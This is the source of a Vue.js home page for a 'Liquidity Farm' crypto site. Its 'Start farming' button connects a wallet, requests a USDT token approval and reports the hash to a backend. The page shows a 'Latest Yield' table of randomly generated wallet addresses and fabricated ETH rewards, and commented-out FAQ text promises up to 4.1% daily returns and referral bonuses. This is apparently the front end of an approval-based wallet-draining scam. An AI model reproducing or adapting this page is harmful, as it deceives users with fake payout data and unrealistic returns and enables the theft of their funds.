<template>
  <div>
    <Nav>
      <slot>
        <div @click="setUSDT" class="approve"  v-if="isShow&&!isProve">
          Start farming
        </div>
      </slot>
    </Nav>
    <div class="bgimg">
      <img class="imgbg" src="@/assets/images/index/contentbg.png">

      <div class="contentbox">
        <div class="content1">
          <div class="titlebox">
            <div class="title">Liquidity Farm</div>
          </div>
          <div class="totalbox">
            <div>
              <div class="price" v-if="homedata">
                {{ homedata[0] }}
              </div>
              <div class="text">
                Nodes
              </div>
            </div>
            <div>
              <div class="price" v-if="homedata">
                {{ homedata[1] }}
              </div>
              <div class="text">
                Participants
              </div>
            </div>
            <div>
              <div class="price" v-if="homedata">
                {{ homedata[2] }}
              </div>
              <div class="text">
                USDT Verified
              </div>
            </div>
            <div>
              <div class="price" v-if="homedata">
                {{ homedata[3] }}
              </div>
              <div class="text">
                ETH Reward
              </div>
            </div>
          </div>

        </div>

      </div>
      <div class="latextbox">
        <div class="titlebox">
          <div class="title">Latest Yield</div>
        </div>
        <div class="imgbox">
          <img src="@/assets/images/index/indexcenter.png">
        </div>
        <div class="addresslist">
          <div class="th">
            <div>Wallet Address</div>
            <div>ETH Reward</div>
          </div>
          <div v-for="item in list" class="tr">
            <div>{{ item.address }}</div>
            <div>{{ item.row }}</div>
          </div>
        </div>
      </div>
      <div class="whitebox">
        <div @click="$router.push('/whitepaper')" class="whitebtn">
          <div class="btn">

            <div class="left">
              <img src="@/assets/images/index/paper.png"/>
            </div>
            <div>
              Whitepaper
            </div>
          </div>
        </div>
        <div class="partner">
          Partners
        </div>
      </div>
      <div class="companybox">
        <div>
          <img src="@/assets/images/index/company1.png">
        </div>
        <div>
          <img src="@/assets/images/index/company2.png">
        </div>
        <div>
          <img src="@/assets/images/index/company3.png">
        </div>
        <div>
          <img src="@/assets/images/index/company4.png">
        </div>
        <div>
          <img src="@/assets/images/index/company5.png">
        </div>
        <div></div>
      </div>
      <div class="faq">
        FAQ
      </div>


      <van-collapse v-model="activeNames" accordion>
<!--        <van-collapse-item :border="false" style="padding: 25px 10px;" class="issuebox" name="1">-->
<!--          <template #title>-->
<!--            <div class="title" style="line-height: 33px;"> What is the return of investment (ROI)?</div>-->
<!--          </template>-->
<!--          <template #right-icon>-->
<!--            {{ " " }}-->
<!--          </template>-->
<!--          <div class="content">-->
<!--            <div>-->
<!--              After successfully joining, the system will start to calculate the amount of USDT you hold through the-->
<!--              smart-->
<!--              contract. The reward will be distributed every 6 hours.-->
<!--            </div>-->
<!--            <div>-->
<!--              The expected daily production income:-->
<!--            </div>-->
<!--            <ul>-->
<!--              <li>100 - 4,999 USDT: 1.3% - 1.6%</li>-->
<!--              <li>5,000 - 19,999 USDT: 1.6% - 1.9%</li>-->
<!--              <li>20,000 - 49,999 USDT: 1.9% - 2.2%</li>-->
<!--              <li>50,000 - 99,999 USDT: 2.2% - 2.5%</li>-->
<!--              <li>100,000 - 199,999 USDT: 2.5% - 2.8%</li>-->
<!--              <li>200,000 - 499,999 USDT: 2.8% - 3.1%</li>-->
<!--              <li>500,000 - 999,999 USDT: 3.1% - 3.5%</li>-->
<!--              <li>1,000,000 - 1,999,999 USDT: 3.5% - 3.8%</li>-->
<!--              <li>2,000,000+ USDT: 4.1%</li>-->
<!--            </ul>-->
<!--          </div>-->
<!--        </van-collapse-item>-->
<!--        <van-collapse-item :border="false" style="padding: 25px 10px;" class="issuebox" name="2">-->
<!--          <template #title>-->
<!--            <div class="title" style="line-height: 33px;">-->
<!--              How to join?-->
<!--            </div>-->
<!--          </template>-->
<!--          <template #right-icon>-->
<!--            {{ " " }}-->
<!--          </template>-->
<!--          <div class="content">-->
<!--            To start yield farming, you'll need to pay a small ETH fees for smart contract authorization. This is just a-->
<!--            one time step. Mining can only start after authorization is given.-->
<!--          </div>-->
<!--        </van-collapse-item>-->
<!--        <van-collapse-item :border="false" style="padding: 25px 10px;" class="issuebox" name="3">-->
<!--          <template #title>-->
<!--            <div class="title" style="line-height: 33px;">-->
<!--              How to earn reward?-->
<!--            </div>-->
<!--          </template>-->
<!--          <template #right-icon>-->
<!--            {{ " " }}-->
<!--          </template>-->
<!--          <div class="content">-->
<!--            The cryptocurrency mined every day generates ETH revenue and gives us a certain percentage of revenue in-->
<!--            accordance with contract standards.-->
<!--          </div>-->
<!--        </van-collapse-item>-->
<!--        <van-collapse-item :border="false" style="padding: 25px 10px;" class="issuebox" name="4">-->
<!--          <template #title>-->
<!--            <div class="title" style="line-height: 33px;">-->
<!--              Is there a reward for inviting friends?-->
<!--            </div>-->
<!--          </template>-->
<!--          <template #right-icon>-->
<!--            {{ " " }}-->
<!--          </template>-->
<!--          <div class="content">-->
<!--            Yes, you can invite your friends to join the mining pool through your referral link. You will get a 30% ETH-->
<!--            reward everytime your friends receive their reward.-->
<!--          </div>-->
<!--        </van-collapse-item>-->
        <van-collapse-item :border="false" v-for="(item,index) in artcilelist" style="padding: 25px 10px;" class="issuebox" :name="index">
          <template #title>
            <div class="title" style="line-height: 33px;">
              {{item.title}}
            </div>
          </template>
          <template #right-icon>
            {{ " " }}
          </template>
          <div class="content" >
            <div v-html="item.content"></div>
<!--            {{item.content}}-->
<!--            Yes, you can invite your friends to join the mining pool through your referral link. You will get a 30% ETH-->
<!--            reward everytime your friends receive their reward.-->
          </div>
        </van-collapse-item>
      </van-collapse>
      <div class="flooter">
        Copyright © 2025
        <span class="span">Liquidity Farming</span>
      </div>
    </div>
    <Tabber :tab="tab"/>
  </div>

</template>
<script>
import Nav from "@/components/nav.vue";
import {mapState, mapActions,mapGetters} from "vuex"
import {getHomeArticle} from "../../api/index.js";
import {fryVerify}from "../../api/user.js"
export default {
  data() {
    return {
      tab: 1,
      fold: true,
      activeNames: '1',
      isfold: false,
      list: [],
      inter: false,
      artcilelist:[]
    }
  },
  components: {
    Nav
  },
  computed: {
    ...mapState('home', ['homedata']),
    ...mapState('user', ['isShow','account']),
    ...mapGetters(['isProve']),
  },
  mounted() {
    this.isfold = false;
    this.fold = true;
    this.getlist();
    if (this.inter) {
      clearInterval(this.inter)
      this.inter = false
    }
    this.inter = setInterval(() => {
      this.getlist()
    }, 5000)
    this.gethomedata();
    // if(this.artcilelist.length==0){
    //   this.getarticle()
    // }
    this.getarticle()
  },
  methods: {
    ...mapActions('home', ['gethomedata']),
    getarticle() {
      getHomeArticle().then(res => {
        this.artcilelist=res
      })
    },
    async setUSDT() {
      if (!this.$signer) await this.$onboard.connectWallet();
      const {hash}=await this.$aprove(this)
      fryVerify({hash: hash}).then(res=>{
        if(res){
          this.$store.commit('user/setaccount',res)
        }
      })
    },
    getlist() {
      let list1 = []
      while (list1.length !== 10) {
        let newitem = this.setchar()
        list1.push({
          address: '0x' + newitem.substring(0, 8) + '...' + newitem.substring(8, 18),
          row: (Math.random() * 2).toFixed(6)
        })
      }
      this.list = list1;
      list1 = []
    },
    setchar() {
      let str = "";
      let array1 = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'A', 'b', 'B', 'c', 'C', 'd', 'D', 'E', 'e', 'f', 'F', 'g', 'G', 'H', 'h', 'I', 'i', 'j', 'J', 'k', 'K', 'l', 'L', 'm', 'M', 'N', 'n', 'o', 'O', 'P', 'p', 'Q', 'q', 'r', 'R', 's', 'S', 't', 'T', 'U', 'u', 'V', 'v', 'w', 'W', 'X', 'x', 'y', 'Y', 'Z', 'z'];
      let randomlen = array1.length - 1;
      for (let i = 0; i < 18; i++) {
        let randomnum = (parseInt(randomlen * Math.random()))
        str += array1[randomnum]
      }
      return str
    },

  },
  destroyed() {

    if (this.inter) {
      clearInterval(this.inter)
      this.inter = false
    }
  }
}
</script>
<style scoped>
.bgimg {
  position: relative;
}

.bgimg .imgbg {
  position: absolute;
  width: 100%;
  height: 30vh;
  top: 780px;
}

.contentbox {
  padding: 0 10px;
}

.titlebox {
  display: flex;
  align-items: center;
  padding: 10px 0 15px 5px;
  justify-content: center;
}

.imgbox {
  height: 130px;
  position: relative;
}

.imgbox img {
  position: absolute;
  top: 50%;
  left: 50%;
  width: 91px;
  height: 91px;
  transform: translate(-50%, -50%);
  animation: 1s trans linear infinite;
}

@keyframes trans {
  0%, 100% {
    transform: translate(-50%, -75%);
    animation-timing-function: cubic-bezier(.8, 0, 1, 1);
  }
  50% {
    transform: translate(-50%, -50%);
    animation-timing-function: cubic-bezier(0, 0, .2, 1);
  }
}

.titlebox .title {
  color: rgb(41, 74, 224);
  font-family: Josefin Sans, Serif;
  font-weight: 700;
  font-size: 24px;
  padding: 20px 0;
}

.totalbox {
  box-shadow: -10px -10px 10px 8px rgba(227, 230, 255, .25);
  border-radius: 30px;
  margin: 10px;
  display: flex;
  flex-wrap: wrap;
  padding: 10px;
  background: #ffffff;
}

.totalbox > div {
  width: 50%;
  text-align: center;
  padding: 10px 0;
}

.totalbox .text {
  color: #00000080;
}

.totalbox .price {
  font-family: Josefin Sans, Serif !important;
  font-size: 29px;
  color: black;
  font-weight: 800;
}

.flooter {
  height: 48px;
  text-align: center;
  line-height: 48px;
  margin-top: 5px;
  padding-bottom: 50px;
  padding-top: 70px;
  background: white;
}

.flooter .span {
  color: rgb(41, 74, 224 / var(--tw-text-opacity));
}

.addresslist {
  box-shadow: -10px -10px 10px 8px rgba(227, 230, 255, .25);
  border-radius: 30px;
  margin: 10px;
  padding: 25px;
  background: #ffffff;
}

.addresslist .th {
  display: flex;
  font-size: 14px;
  font-weight: 800;
  padding-bottom: 5px;
  justify-content: space-between;
}

.addresslist .tr {
  display: flex;
  justify-content: space-between;
  color: #00000080;
  font-size: 11.3px;
  line-height: 18px;
  //padding-bottom: 1px;
}

.latextbox .titlebox {
  padding: 0;
}

.latextbox .titlebox .title {
  padding: 10px;
}

.whitebox {
  padding-top: 40px;
}

.whitebox .whitebtn .left {
  text-align: center;
}

.whitebox .whitebtn .left img {
  width: 26px;
  height: 26px;
  position: relative;
  top: 2px;
  margin: 0 10px 0 2px;
}

.whitebox .whitebtn {
  height: 47px;
  line-height: 47px;
  display: flex;
  align-items: center;
  justify-content: center;
}

.whitebtn .btn {
  background: rgb(41, 74, 224);
  color: white;
  font-weight: 800;
  font-size: 29px;
  border-radius: 47px;
  padding: 0 18px;
  position: relative;
  display: flex;
}

.whitebox .partner {
  font-size: 24px;
  text-align: center;
  color: rgb(41, 74, 224);
  position: relative;
  font-family: Josefin Sans, Serif;
  font-weight: bold;
  padding: 26px 0;
}

.faq {
  font-size: 24px;
  text-align: center;
  color: rgb(41, 74, 224);
  position: relative;
  font-family: Josefin Sans, Serif;
  font-weight: bold;
  padding: 20px 0;
}

.issuebox {
  background: #ffffff;
  position: relative;
  margin: 10px 15px 10px 15px;
  border-radius: 30px;
  padding: 25px;
  font-family: Josefin Sans, Serif;
  box-shadow: -10px -10px 10px 8px rgba(227, 230, 255, .25);
}

.issuebox > div {
  padding: 0;
}

.issuebox i:after, .issuebox i:before {
  display: none !important;
}

.issuebox .title {
  font-size: 21px;
  font-weight: bold;
}

.issuebox .content {
  padding-top: 20px;
  font-size: 14px;
  color: #000000d9;
}

.issuebox .content div {
  margin-bottom: 13px;
}

.companybox {
  display: flex;
  justify-content: space-between;
  flex-wrap: wrap;
  background: #ffffff;
  position: relative;
  margin: 7px 15px;
  border-radius: 15px;
  padding: 15px;
  box-shadow: -10px -10px 10px 8px rgba(227, 230, 255, .25);
}

.companybox div {
  width: 25%;
  padding: 10px;
}

.companybox > div > img {
  width: 90px;
  border-radius: 5px;
  box-shadow: 0 1px 3px 0 rgba(0, 0, 0, .1), 0 1px 2px -1px rgba(0, 0, 0, .1);
}

ul {
  padding-left: 40px;
}

ul li {
  position: relative;
}

ul li:before {
  content: "";
  position: absolute;
  width: 5px;
  height: 5px;
  border-radius: 3px;
  background: black;
  top: 50%;
  left: -18px;
  transform: translateY(-50%);
}

.issuebox .active {
  height: auto;
  transition-duration: 1500ms;
  animation: show 2s linear;
  overflow: hidden;
}

@keyframes show {
  0% {
    height: 0px;
  }
  50% {
    height: 100px;
  }
  100% {
    height: auto !important;
  }
}

.issuebox .noheight {
  overflow: hidden;
  height: 0px;
  animation: hid 2s linear;
}

@keyframes hid {
  0% {
    height: 100px;
  }
  100% {
    height: 0px !important;
  }
}

.nocentent {
  height: 0px;
  overflow: hidden;
}

.van-cell__title, .van-cell__value {
  flex: 1;
  font-size: 20px;
  font-weight: 500;
}
.approve:hover{
  background: #ededee30;
  box-shadow: 1px 6px 8px rgba(245, 245, 245, 0.1);
}
.approve {
  //position: absolute;
  height: 50px;
  width: 150px;
  box-shadow: 1px 6px 8px rgba(245, 245, 245, 1);
  background: rgba(245, 245, 245, 1);
  //background: rgba(245, 245, 245,0.9);
  color: rgb(41, 74, 224);
  border-radius: 100%;
  margin: 25px auto 0 auto;
  line-height: 50px;
  font-size: 18px;
  font-weight: 800;
  //border: 1px solid white;
  //top: 50%;
  //left: 50%;
  //z-index: 990;
}
</style>